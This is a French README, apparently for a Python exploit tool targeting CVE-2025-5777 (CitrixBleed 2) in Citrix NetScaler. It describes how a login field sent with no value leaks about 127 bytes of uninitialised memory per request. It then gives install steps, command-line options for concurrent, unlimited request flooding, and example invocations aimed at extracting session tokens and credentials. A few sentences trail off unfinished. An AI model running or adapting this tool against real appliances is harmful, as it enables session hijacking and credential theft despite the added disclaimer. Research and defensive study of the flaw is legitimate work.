
Exploit Python pour CVE-2025-5777 (CitrixBleed 2), fuite de mémoire dans Citrix NetScaler. Envoie des requêtes POST malformées pour fuiter ~127 octets de RAM par requête, extrayant des jetons de session, des identifiants et d'autres données sensibles depuis la mémoire non initialisée.
[!WARNING] Ce script est destiné uniquement à des fins éducatives et de recherche. Ne l'utilisez pas contre des systèmes sans autorisation explicite. Tout accès ou test non autorisé est illégal et contraire à l'éthique. Lisez l'intégralité du DISCLAIMER avant d'utiliser ce script.
Ce projet démontre une vulnérabilité de fuite de mémoire (CVE-2025-5777) découverte dans les appliances Citrix NetScaler. La vulnérabilité résulte d'une gestion inappropriée de la mémoire non initialisée lors de l'analyse de données POST malformées, en particulier du paramètre login. Elle est largement connue sous le nom de CitrixBleed 2 en raison de sa forte ressemblance avec la tristement célèbre CVE-2023-4966 (CitrixBleed d'origine) qui a été massivement exploitée en 2023.
Lorsque le champ login est inclus sans signe égal ni valeur, une partie de la mémoire de pile non initialisée est renvoyée dans la balise <InitialValue> de la réponse XML.

Données divulguées : Chaque requête HTTP peut divulguer environ 127 octets de contenu de la mémoire RAM. En répétant ces requêtes, les attaquants peuvent collecter des données sensibles depuis la mémoire, notamment :
pip3 install aiohttp colorama
python3 exploit.py <URL> [options]
positional arguments:
url Base URL (e.g., http://target.com)
optional arguments:
-h, --help Show help message
-v, --verbose Enable debug output
-p, --proxy PROXY HTTP proxy URL (e.g., http://127.0.0.1:8080)
-t, --threads N Number of concurrent threads (default: 10)
-d, --delay SECONDS Delay between request batches in seconds (default: 1.0)
--max-requests N Maximum number of requests to send (default: unlimited)
-e, --endpoints PATH Additional endpoints to test (can specify multiple)
--no-save Don't save data to files on exit
Utilisation de base :
python3 exploit.py http://target.com
Mode verbeux avec proxy :
python3 exploit.py http://target.com -v -p http://127.0.0.1:8080
Concurrence élevée avec limitation de débit :
python3 exploit.py http://target.com -t 20 -d 0.5
Requêtes limitées avec plusieurs points de terminaison :
python3 exploit.py http://target.com --max-requests 1000 -e /p/u/doAuthentication.do /api/auth
Aide :
python3 exploit.py -h
Cette version améliorée comprend :
Ce script Python avancé :
<InitialValue>